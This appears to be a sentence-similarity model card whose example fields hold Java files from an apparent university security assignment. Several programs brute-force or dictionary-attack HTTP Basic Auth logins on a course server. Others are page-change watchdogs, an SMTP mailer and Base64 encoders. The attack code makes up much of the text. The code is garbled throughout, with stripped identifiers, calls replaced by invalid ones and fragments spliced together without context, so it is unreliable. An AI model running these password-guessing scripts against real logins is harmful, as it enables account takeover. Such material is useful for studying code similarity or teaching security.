      URL url = new URL(baseURL); 
      String username="";
      password = dictionary.elementAt(count).toString(); 

      
      String authString = username+":"+password;
      String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); 
      System.out.print("authString is: "+authString);     
      
      URLConnection urlConnect=url.openConnection();

      
      urlConnect.setRequestProperty("Authorization"," "+encoding);

      String responseCode = urlConnect.getHeaderField(0);
      System.out.print(" Response  is: ");
      System.out.println(responseCode);

      if (!responseCode.equals("HTTP/1.1 401 Authorization Required")) {
        found=true;
      }          
      if (found){ 
      
        System.out.println("Password is: "+password);

      }

      Date foundDate = new Date();
       foundTime=foundDate.getTime();  
      foundTime=(foundTime-startTime);
      System.out.println("Time taken was : "+foundTime+" milliseconds"); 
      count=count+1;
    }
  } 
  
  
  
  
  
  public static Vector readWords() {   
    String nextWord;
    String lastWord="";
    Vector dict=new Vector();
    try {
      BufferedReader in = new BufferedReader(new FileReader("words.txt"));
      while ((nextWord = in.readLine())!=null) {
	
        if (nextWord.length()>3) {
          nextWord=nextWord.substring(0,3);
        }
	
	if (!lastWord.equals(nextWord) && nextWord.length()>0){
          lastWord = nextWord;
	  
	 
	  dict.addElement(nextWord);

	  
	  
	 
	 
	 

	  
	 
	 
	    
	  
	   
	   
	   
	   
	   

	    
	   
	   
	  
	  
	  
	  

	    
	   
	   
	      
	   
	   
	   

	      
	   
	    
	    

	      
	    
	    
	    

	      
	    
	    
	    
	   
	
	}  
      }  
       System.out.println("File successfully loaded");	     
    }  
    catch (FileNotFoundException e1) {
      System.out.println("This program requires a dictionary of words called words.txt   in the same directory as the program running, now exiting.");
      System.exit(0);
    }	
    catch (IOException e2) {
      System.out.println("IO Exception, exiting");
      System.exit(0);
    }	    
    finally {
      try {
	if (null!=in) {
          in.get();
	}
      }
      catch (IOException e3) {}
    }
    return dict;
  } 
}  

sentences: package java.httputils;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;


public class WatchDog
{
    protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
    protected int interval = 24;
    protected String URL = "http://www.cs.rmit.edu./students/";
    protected String fileName = "WatchDogContent.html";
    protected String command = "./alert_mail.sh";
    protected String savedContent;
    protected String retrievedContent;

    
    public WatchDog()
    {
        super();
    }

    
    public void run() throws Exception
    {
        HttpRequestClient client = null;
        
        
        System.out.println(getClass().getName() +
                        "Retrieving baseline copy of: " + getURL());
        client = new HttpRequestClient(getURL());
        retrievedContent = client.getContent().toString();

        System.out.println(getClass().getName() +
                        "Writing baseline content : " + getFileName());
        writeFile();

        while (true)
        {
            
            System.out.println(getClass().getName() +
                            " Sleeping for hours: " + getInterval());
            Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval());

            
            System.out.println(getClass().getName() +
                            " Retrieving: " + getURL());

            client = new HttpRequestClient(getURL());
            retrievedContent = client.getContent().toString();

            
            System.out.println(getClass().getName() +
                            "  saved copy: " + getURL());
            savedContent = readFile();

            
            System.out.println(getClass().getName() +
                            " Comparing saved and retrieved. ");
            if (!savedContent.equals(retrievedContent))
            {
                
                System.out.println(getClass().getName() +
                                " Difference found. ");

                writeTempFile();
                runCommand();
            }

            
            writeFile();
        }
    }


    
    public String runCommand()
    {
        String cmd = getCommand() + " \"" + getURL() + "\"";
        try
        {
            Runtime r = Runtime.getRuntime();
            System.out.println(getClass().getName() +
            " Executing: " + cmd);

            Process proc = r.exec(cmd);
        }
        catch (Exception e)
        {
            try
            {
                Runtime r = Runtime.getRuntime();
                Process proc = r.exec(cmd);
            }
            catch (Exception ex)
            {
                System.out.println(getClass().getName()
                    + " Could not run :"
                    + getCommand()
                    + " because : "
                    + ex.getMessage());
            }
        }

        return "Executed successfully";
    }

    
    protected String readFile() throws FileNotFoundException
    {
        BufferedInputStream input = null;
        FileInputStream file = null;
        StringBuffer content = new StringBuffer();
        try
        {
            file = new FileInputStream(getFileName());
            
            input = new BufferedInputStream(file);
            
        }
        catch (FileNotFoundException x)
        {
            System.err.println("File not found: " + getFileName());
            throw x;
        }

        try
        {
            int ch;
            while ((ch = input.get()) != -1)
            {
                content.append((char)ch);
            }
        }
        catch (IOException x)
        {
            x.printStackTrace();
        }
        finally
        {
            if (input != null)
            {
                try
                {
                    input.get();
                    file.get();
                }
                catch (IOException e)
                {
                }
            }
        }
        return content.toString();
    }

    
    protected void writeFile() throws Exception
    {
        OutputStream os = null;
        try
        {
            os = new BufferedOutputStream(
                     new FileOutputStream(getFileName(), false));
            os.write(getRetrievedContent().getBytes());
        }
        catch (FileNotFoundException e)
        {
            e.printStackTrace();
            throw e;
        }
        catch (IOException e)
        {
            e.printStackTrace();
            throw e;
        }
        finally
        {
            if (os != null)
            {
                try
                {
                    os.close();
                }
                catch (IOException e)
                {
                }
            }
        }
    }

    
    protected void writeTempFile() throws Exception
    {
        OutputStream os = null;
        try
        {
            os = new BufferedOutputStream(
                     new FileOutputStream(".html", false));
            os.write(getRetrievedContent().getBytes());
        }
        catch (FileNotFoundException e)
        {
            e.printStackTrace();
            throw e;
        }
        catch (IOException e)
        {
            e.printStackTrace();
            throw e;
        }
        finally
        {
            if (os != null)
            {
                try
                {
                    os.close();
                }
                catch (IOException e)
                {
                }
            }
        }
    }

    public static void main(String[] args)
    {
        WatchDog watchDog = new WatchDog();

        if (args.length < 3)
        {
            watchDog.printUsage();
        }

        
        System.out.println(watchDog.getClass().getName() +
                        ": Initialising with " +
                        args[0] + " \n" +
                        args[1] + " \n" +
                        args[2] + " \n");
        watchDog.setURL(args[0]);
        watchDog.setInterval(Integer.parseInt(args[1]));
        watchDog.setCommand(args[2]);

        
        try
        {
            System.out.println(watchDog.getClass().getName() + ": Invoking the run method.");
            watchDog.run();
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    }

    public String printUsage()
    {
        StringBuffer s = new StringBuffer();

        s.append("** WatchDog proper usage **\n\n");
        s.append(
            this.getClass().getName() +
            " <URL> <interval> <Command  execute>\n\n");

        return s.toString();
    }

    
    public String getCommand()
    {
        return command;
    }

    
    public String getFileName()
    {
        return fileName;
    }

    
    public int getInterval()
    {
        return interval;
    }

    
    public String getURL()
    {
        return URL;
    }

    
    public void setCommand(String string)
    {
        command = string;
    }

    
    public void setFileName(String string)
    {
        fileName = string;
    }

    
    public void setInterval(int i)
    {
        interval = i;
    }

    
    public void setURL(String string)
    {
        URL = string;
    }

    
    public String getRetrievedContent()
    {
        return retrievedContent;
    }

    
    public String getSavedContent()
    {
        return savedContent;
    }

    
    public void setRetrievedContent(String string)
    {
        retrievedContent = string;
    }

    
    public void setSavedContent(String string)
    {
        savedContent = string;
    }

}
, 



import java.net.*;
import java.io.*;
import java.util.Date;

public class MyMail implements Serializable
{
	

	
	public static final int SMTPPort = 25;

	
	public static final char successPrefix = '2';

	
	public static final char morePrefix = '3';

	
	public static final char failurePrefix = '4';

	

	
	private static final String CRLF = "\r\n";

	
	private String mailFrom = "";

	
	private String mailTo = "";

	
	private String messageSubject = "";

	
	private String messageBody = "";

	
	private String mailServer = "";

	
	public MyMail ()
	{
		
		super();
	}

	
	public MyMail ( String serverName)
	{
		
		super();

		
		mailServer = serverName;
	}

	
	public String getFrom()
	{
		return mailFrom;
	}

	
	public String getTo()
	{
		return mailTo;
	}

	
	public String getSubject()
	{
		return messageSubject;
	}

	
	public String getMessage()
	{
		return messageBody;
	}

	
	public String getMailServer()
	{
		return mailServer;
	}

	
	public void setFrom( String from )
	{
		
		mailFrom = from;
	}

	
	public void setTo ( String To )
	{
		
		mailTo = To;
	}

	
	public void setSubject ( String subject )
	{
		
		messageSubject = subject;
	}

	
	public void setMessage ( String msg )
	{
		
		messageBody = msg;
	}

	
	public void setMailServer ( String server )
	{
		
		mailServer = server;
	}

	
	private boolean responseValid( String response )
	{
		

		
		if (response.indexOf(" ") == -1)
			
			return false;

		
		String cad = response.substring( 0, response.indexOf(" "));

		
		cad = cad.toUpperCase();

		
		if (( cad.charAt(0) == successPrefix ) ||
		    ( cad.charAt(0) == morePrefix )  )
			
				return true;
			else
				
				return false;
		}

	
	public void sendMail()
	{
		try {
		String response;

		
		Socket mailSock = new Socket (mailServer, SMTPPort);

		
		BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));
		PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));

		
		System.out.println("1");
		response = bf.readLine();

		
		if ( !responseValid(response) )
			throw new IOException("ERR - " + response);

		
		try
		{
			InetAddress addr = InetAddress.getLocalHost();

			String localHostname = addr.getHostName();
			
			pout.print ("HELO " + localHostname + CRLF);
		}
		catch (UnknownHostException uhe)
		{
			
			pout.print ("HELO myhostname"  + CRLF);
		}

		
		pout.flush();

		
		System.out.println("2");
		response = bf.readLine();

		
		if ( !responseValid(response) )
			throw new IOException("ERR - " + response);

		
		pout.println ("MAIL From:<" + mailFrom + ">");

		
		pout.flush();

		
		System.out.println("3");
		response = bf.readLine();

		
		if ( !responseValid(response) )
			throw new IOException("ERR - " + response);

		
		pout.println ("RCPT :<" + mailTo + ">");

		
		pout.flush();

		
		System.out.println("4");
		response = bf.readLine();

		
		if ( !responseValid(response) )
			throw new IOException("ERR - " + response);

		
		pout.println ("DATA");

		
		pout.flush();

		
		System.out.println("5");
		response = bf.readLine();

		
		if ( !responseValid(response) )
			throw new IOException("ERR - " + response);

		
		
		pout.println ("From: " + mailFrom);
		pout.println (": " + mailTo);
		pout.println ("Subject: " + messageSubject);

		
		pout.println ();

		
		pout.println (messageBody);

		
		pout.println (".\n\r");

		
		pout.flush();

		
		System.out.println("6");
		response = bf.readLine();

		
		if ( !responseValid(response) )
			throw new IOException("ERR - " + response);

		
		pout.println ("QUIT");

		
		pout.flush();

		
		mailSock.close();
		}
		catch (IOException ioe)
		{
			System.out.println(ioe.getMessage());
		}
	}

}, 
import java.util.*;
import java.net.*;
import java.io.*;
public class WatchDog
{
   private Vector init;
   public WatchDog()
   {
      try
      {
      Runtime run = Runtime.getRuntime();
      String command_line = "lynx http://www.cs.rmit.edu./students/ -dump";
      Process result = run.exec(command_line);
      BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
      String inputLine;
      init = new Vector();
      while ((inputLine = in.readLine()) != null)
      {
         init.addElement(inputLine);
      }
     
      }catch(Exception e)
      {
      }
   }
   public static void main(String args[])
   {
     WatchDog wd = new WatchDog();
     wd.nextRead();
   }

   public void nextRead()
   {
     while(true)
     {
      ScheduleTask sch = new ScheduleTask(init);
      if(sch.getFlag()!=0)
      {
        System.out.println("change happen");
        WatchDog wd = new WatchDog();
        wd.nextRead();
      }
     
     }
   }
}, source_sentence: import java.*;
import java.io.*;
public class C
{
    public static void main (String [] args){
    try{
        
        int m=0,n=0,w=0;
        String file = "passwd.";
        char ch1='A',ch2='A',ch3='A';
        for(int i = 0 ; i < 26; i++ )
        {
          for(w=0;w<2;w++)
          {
           if (w==1)
            i+=32;
           for(int j = 0; j< 26 ; j++)
           {
            for(n=0;n<2;n++)
            {
              if(n==1)
                j+=32;
            for(int k = 0; k<26 ; k++)
               {
                 for(m=0; m<2; m++)
                 {
                   if(m==1)
                    k+=32;
                    char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};
                    String str = new String(data);
                    System.out.println(str);
                    FileWriter fr1 = new FileWriter(file,true);
                    BufferedWriter in1 = new BufferedWriter(fr1);
                    in1.write(str);
                    in1.newLine();
                    in1.print();
                   if (k>=31)
                       k-=32;
                     }
                }
             if(j>=31)
              j=j-32;
              }
           }
           if(i>=31)
              i-=32;
              }
        }
}
catch(IOException e)
{
  System.out.println("try");
}
}
}

sentences: 

public class Base64 {

	final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

	
	public static String encode(byte[] bytes) {

		String tmp = "";
		int i = 0;
		byte pos; 

		for(i=0; i < (bytes.length - bytes.length%3); i+=3) {

			pos = (byte) ((bytes[i] >> 2) & 63); 
			tmp = tmp + baseTable.charAt(pos); 

			pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); 
			tmp = tmp + baseTable.charAt( pos );
					
			pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2]  >> 6) & 3));
			tmp = tmp + baseTable.charAt(pos);
		
			pos = (byte) (((bytes[i+2]) & 63));
			tmp = tmp + baseTable.charAt(pos);
		
			
			
			if(((i+2)%56) == 0) {
				tmp = tmp + "\r\n";
			}
		}

		if(bytes.length % 3 != 0) {

			if(bytes.length % 3 == 2) {

				pos = (byte) ((bytes[i] >> 2) & 63); 
				tmp = tmp + baseTable.charAt(pos); 

				pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); 
				tmp = tmp + baseTable.charAt( pos );
						
				pos = (byte) ((bytes[i+1] & 15) << 2);
				tmp = tmp + baseTable.charAt(pos);
			
				tmp = tmp + "=";

			} else if(bytes.length % 3 == 1) {
				
				pos = (byte) ((bytes[i] >> 2) & 63); 
				tmp = tmp + baseTable.charAt(pos); 

				pos = (byte) ((bytes[i] & 3) << 4); 
				tmp = tmp + baseTable.charAt( pos );
						
				tmp = tmp + "==";
			}
		}
		return tmp;

	}

	
	public static String encode(String src) {
		
		return encode(src.getBytes());	
	}

	public static byte[] decode(String src) throws Exception {

		byte[] bytes = null;

		StringBuffer buf = new StringBuffer(src);

		
		int i = 0;
		char c = ' ';
		char oc = ' ';
		while( i < buf.length()) {			
			oc = c; 
			c = buf.charAt(i);
			if( oc == '\r' && c == '\n') {
				buf.deleteCharAt(i);
				buf.deleteCharAt(i-1);
				i -= 2;
			} else if( c == '\t') {
				buf.deleteCharAt(i);
				i --;
			} else if( c == ' ') {
				i --;
			}
			i++;
		}

		
		if(buf.length() % 4 != 0) {
			throw new Exception("Base64 decoding invalid length");
		}

		
		bytes = new byte[3 * (buf.length() / 4)];
		
		
		int index = 0;
		
		
		for(i = 0; i < buf.length(); i+=4) {

			byte data = 0;
			int nGroup = 0;

			for(int j = 0; j < 4; j++) {

				char theChar = buf.charAt(i + j); 

				if(theChar == '=') {
					data = 0;
				} else {
					data = getBaseTableIndex(theChar); 
				}

				if(data == -1) {
					throw new Exception("Base64 decoding bad character");
				}

				nGroup = 64*nGroup + data;
			}

			bytes[index] = (byte) (255 & (nGroup >> 16));
			index ++;

			bytes[index] = (byte) (255 & (nGroup >> 8));
			index ++;

			bytes[index] = (byte) (255 & (nGroup));
			index ++;
		}
		
		byte[] newBytes = new byte[index];
		for(i = 0; i < index; i++) {
			newBytes[i] = bytes[i];
		}

		return newBytes;
	}

	
	protected static byte getBaseTableIndex(char c) {
		
		byte index = -1;

		for(byte i = 0; i < baseTable.length(); i ++) {
		
			if(baseTable.charAt(i) == c) {
				index = i;
				break;
			}
		}

		return index;
	}
}, 

import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;

public class BruteForce
{
  public BruteForce()
  {}

  public boolean fetchURL(String urlString,String username,String password)
  {
     StringWriter  = new StringWriter();
     PrintWriter  pw = new PrintWriter();
     try{
       URL url=new URL(urlString);  
       String userPwd= username+":"+password;

       
       
       
       

       BASE64Encoder encoder = new BASE64Encoder();
       String encodedStr = encoder.encode (userPwd.getBytes());
       System.out.println("Original String = " + userPwd);
	 System.out.println("Encoded String = " + encodedStr);

       HttpURLConnection huc=(HttpURLConnection) url.openConnection();  
       huc.setRequestProperty( "Authorization"," "+encodedStr);   
       InputStream content = (InputStream)huc.getInputStream();
       BufferedReader in   = 
       new BufferedReader (new InputStreamReader (content));
       String line;
       while ((line = in.readLine()) != null) {
         pw.println (line);
       System.out.println("*************************************************");
       System.out.println(sw.toString());
       }return true;
     } catch (MalformedURLException e) {
       pw.println ("Invalid URL");
       return false;
     } catch (IOException e) {
       pw.println ("Error  URL");
       return false;
     }

  }

  public void getPassword()
  {  
     String alps="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
     String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
     String login="";
     String pwd=" ";

      startTime=System.currentTimeMillis();
     for(int oneChar=0;oneChar<alps.length();oneChar++)
     {
        pwd=alps.substring(oneChar,oneChar+1);
        if(this.fetchURL(urlString,login,pwd))
        {
            finishTime=System.currentTimeMillis();
           System.out.println("Finally I gotta it,  password is : "+pwd);
           System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
           System.exit(1);
        } 
        for(int twoChar=0;twoChar<alps.length();twoChar++)
        {
           pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1);
           if(this.fetchURL(urlString,login,pwd))
           {
              finishTime=System.currentTimeMillis();
             System.out.println("Finally I gotta it,  password is : "+pwd);
             System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
             System.exit(1);
           }
           for(int threeChar=0;threeChar<alps.length();threeChar++)
           {
             pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1)+alps.substring(threeChar,threeChar+1);
             if(this.fetchURL(urlString,login,pwd))
             {
                finishTime=System.currentTimeMillis();
               System.out.println("Finally I gotta it,  password is : "+pwd);
               System.out.println("The time for cracking password is: "+(finishTime-startTime)+ " milliseconds");
               System.exit(1);
             }
           }
        }
     }
   }

  public static void main(String[] arguments)
  {
     BruteForce bf=new BruteForce();
     bf.getPassword();
  } 
}, 

public class Base64 {


static public char[] encode(byte[] data)
{
    char[] out = new char[((data.length + 2) / 3) * 4];

    
    
    
    
    for (int i=0, index=0; i<data.length; i+=3, index+=4) {
        boolean quad = false;
        boolean trip = false;

        int bat = (0xFF & (int) data[i]);
        bat <<= 8;
        if ((i+1) < data.length) {
            bat |= (0xFF & (int) data[i+1]);
            trip = true;
        }
        bat <<= 8;
        if ((i+2) < data.length) {
           bat  |= (0xFF & (int) data[i+2]);
            quad = true;
        }
        out[index+3] = alphabet[(quad? ( bat & 0x3F): 64)];
        bat >>= 6;
        out[index+2] = alphabet[(trip? ( bat & 0x3F): 64)];
        bat >>= 6;
        out[index+1] = alphabet[bat & 0x3F];
        bat >>= 6;
        out[index+0] = alphabet[ bat & 0x3F];
    }
    return out;
}

  
static public byte[] decode(char[] data)
{
    
    
    
    
    
    

    int tempLen = data.length;
    for( int ix=0; ix<data.length; ix++ )
    {
        if( (data[ix] > 255) || codes[ data[ix] ] < 0 )
            --tempLen;  
    }
    
    
    
    

    int len = (tempLen / 4) * 3;
    if ((tempLen % 4) == 3) len += 2;
    if ((tempLen % 4) == 2) len += 1;

    byte[] out = new byte[len];



    int shift = 0;   
    int accum = 0;   
    int index = 0;

    
    for (int ix=0; ix<data.length; ix++)
    {
        int value = (data[ix]>255)? -1: codes[ data[ix] ];

        if ( value >= 0 )           
        {
            accum <<= 6;            
            shift += 6;             
            accum |= value;         
            if ( shift >= 8 )       
            {
                shift -= 8;         
                out[index++] =      
                    (byte) ((accum >> shift) & 0xff);
            }
        }
        
        
        
        
        
        
    }

    
    if( index != out.length)
    {
        throw new Error("Miscalculated data length (wrote " + index + " instead of " + out.length + ")");
    }

    return out;
}





static private char[] alphabet =
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
        .toCharArray();




static private byte[] codes = new byte[256];
static {
    for (int i=0; i<256; i++) codes[i] = -1;
    for (int i = 'A'; i <= 'Z'; i++) codes[i] = (byte)(     i - 'A');
    for (int i = 'a'; i <= 'z'; i++) codes[i] = (byte)(26 + i - 'a');
    for (int i = '0'; i <= '9'; i++) codes[i] = (byte)(52 + i - '0');
    codes['+'] = 62;
    codes['/'] = 63;
}
}, source_sentence: 
import java.net.*;
import java.io.*;


public class Dictionary
{
   private String myUsername = "";
   private String myPassword = "";
   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";


   public static void main (String args[])
   {
      Dictionary d = new Dictionary();
   }

   public Dictionary()
   {
      generatePassword();
   }

   

   public void generatePassword()
   {
      try
      {
         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));

         
         {
            myPassword = bf.readLine();
            crackPassword(myPassword);
         } while (myPassword != null);
      }
      catch(IOException e)
      {    }
   }


  

  public void crackPassword(String passwordToCrack)
  {
     String data, dataToEncode, encodedData;

     try
     {
         URL url = new URL (urlToCrack);

         

         dataToEncode = myUsername + ":" + passwordToCrack;

         

         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());

         URLConnection urlCon = url.openConnection();
         urlCon.setRequestProperty  ("Authorization", " " + encodedData);

         InputStream is = (InputStream)urlCon.getInputStream();
         InputStreamReader isr = new InputStreamReader(is);
         BufferedReader bf  = new BufferedReader (isr);

          
          {
             data = bf.readLine();
             System.out.println(data);
             displayPassword(passwordToCrack);
         } while (data != null);
      }
      catch (IOException e)
      {   }
   }


   public void displayPassword(String foundPassword)
   {
      System.out.println("\nThe cracked password is : " + foundPassword);
      System.exit(0);
   }
}



sentences: 
import java.io.*;

public class PasswordFile {
    
    private String strFilepath;
    private String strCurrWord;
    private File fWordFile;
    private BufferedReader in;
    
    
    public PasswordFile(String filepath) {
        strFilepath = filepath;
        try {
            fWordFile = new File(strFilepath);
            in = new BufferedReader(new FileReader(fWordFile));
        }
        catch(Exception e)
        {
            System.out.println("Could not open file " + strFilepath);
        }
    }
    
    String getPassword() {
        return strCurrWord;
    }
    
    String getNextPassword() {
        try {
            strCurrWord = in.readLine();
            
            
            
        }
        catch (Exception e)
        {
            
            return null;
        }
                
        return strCurrWord;
    }
    
}
, 


import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;

import java.io.*;
import java.net.*;
import java.util.*;


public class BruteForce {
  
  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();
  
  private int indices[] = {0,0,0};
  
  private String url = null;

  
  public BruteForce(String url) {
    this.url = url;

  }
  
  private int attempts = 0;
  private boolean stopGen = false;
  
  public String getNextPassword(){
    String nextPassword = "";
    for(int i = 0; i <indices.length ; i++){
      if(indices[indices.length -1 ] == passwordDataSet.length)
        return null;
      if(indices[i] == passwordDataSet.length ){
        indices[i] = 0;
        indices[i+1]++;
      }
      nextPassword = passwordDataSet[indices[i]]+nextPassword;

      if(i == 0)
        indices[0]++;

    }
    return nextPassword;
  }
  
  public void setIndices(int size){
    this.indices = new int[size];
    for(int i = 0; i < size; i++)
      this.indices[i] = 0;
  }
  public void setPasswordDataSet(String newDataSet){
    this.passwordDataSet = newDataSet.toCharArray();
  }
  
  public String crackPassword(String user) throws IOException, MalformedURLException{
    URL url = null;
    URLConnection urlConnection = null;
    String outcome = null;
    String  authorization = null;
    String password = null;
    BASE64Encoder b64enc = new BASE64Encoder();
    InputStream content = null;
    BufferedReader in = null;
    String line;
          int i = 0;
    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){
      url = new URL(this.url);
      urlConnection = url.openConnection();
      urlConnection.setDoInput(true);
      urlConnection.setDoOutput(true);


      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");
      urlConnection.setRequestProperty("Host", url.getHost());
      password = getNextPassword();
      if(password == null)
        return null;
      System.out.print(password);
      authorization = user + ":" + password;


      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));


outcome = urlConnection.getHeaderField(null); 



      this.attempts ++;
      urlConnection = null;
      url = null;

      if(this.attempts%51 == 0)
        for(int b = 0; b < 53;b++)
          System.out.print("\b \b");
      else
        System.out.print("\b\b\b.");

    }
    return password;
  }
  
  public int getAttempts(){
    return this.attempts;
  }
  public static void main (String[] args) {
    if(args.length != 2){
      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");
      System.exit(1);
    }

    BruteForce bruteForce1 = new BruteForce(args[0]);
    try{
      Calendar cal1=null, cal2=null;
      cal1 = Calendar.getInstance();
      System.out.println("Cracking started at: " + cal1.getTime().toString());
      String password = bruteForce1.crackPassword(args[1]);
      if(password != null)
        System.out.println("\nPassword is: "+password);
      else
        System.out.println("\nPassword could not  retrieved!");
      cal2 = Calendar.getInstance();
      System.out.println("Cracking finished at: " + cal2.getTime().toString());
      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");
      System.out.println("Total attempts : "  + bruteForce1.getAttempts());

    }catch(MalformedURLException mue){
      mue.printStackTrace();
    }

    catch(IOException ioe){
      ioe.printStackTrace();
    }
  }
}, import java.io.*;
import java.net.*;
import java.util.*;


public class Dictionary
{
	public static void main (String args[])
	{
		
		
        Calendar cal = Calendar.getInstance();
        Date now=cal.getTime();
        double startTime = now.getTime();

		String password=getPassword(startTime);
		System.out.println("The password is " + password);
	}

	public static String getPassword(double startTime)
	{
		String password="";
		int requests=0;

		try
		{
			
			FileReader fRead = new FileReader("/usr/share/lib/dict/words");
			BufferedReader buf = new BufferedReader(fRead);

			password=buf.readLine();

			while (password != null)
			{
				
				if (password.length()<=3)
				{
					requests++;
					if (testPassword(password, startTime, requests))
						return password;
				}

				password = buf.readLine();

			}
		}
		catch (IOException ioe)
		{

		}

		return password;
	}

	private static boolean testPassword(String password, double startTime, int requests)
	{
		try
		{
			
			
			URL url=new URL("http://sec-crack.cs.rmit.edu./SEC/2/");

			HttpURLConnection connection;

    		String userPassword =  ":" + password;

    		
    		String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());

			try
			{
				
				connection = (HttpURLConnection) url.openConnection();
				
				connection.setRequestProperty("Authorization", " " + encoding);

				
				int status=connection.getResponseCode();

				System.out.println(password + requests);

				if (status==200)
				{
					System.out.println("It took " + getTime(startTime) + " milliseconds  find the password.");
					System.out.println(" were " + requests + " requests .");

					return true;
				}

				return false;

			}

			catch (IOException ioe)
			{
				System.out.print(ioe);
				return false;
			}

		}

		catch (IOException MalformedURLException)
		{
			System.out.print("Invalid URL");
			return false;
		}
	}


	private static double getTime(double startTime)
	{
		
		
        Calendar cal = Calendar.getInstance();
        Date now=cal.getTime();
        double endTime = now.getTime();

        return endTime-startTime;

	}

}

pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 1 | All-time downloads: 208
Created: 2025-06-11 11:10:42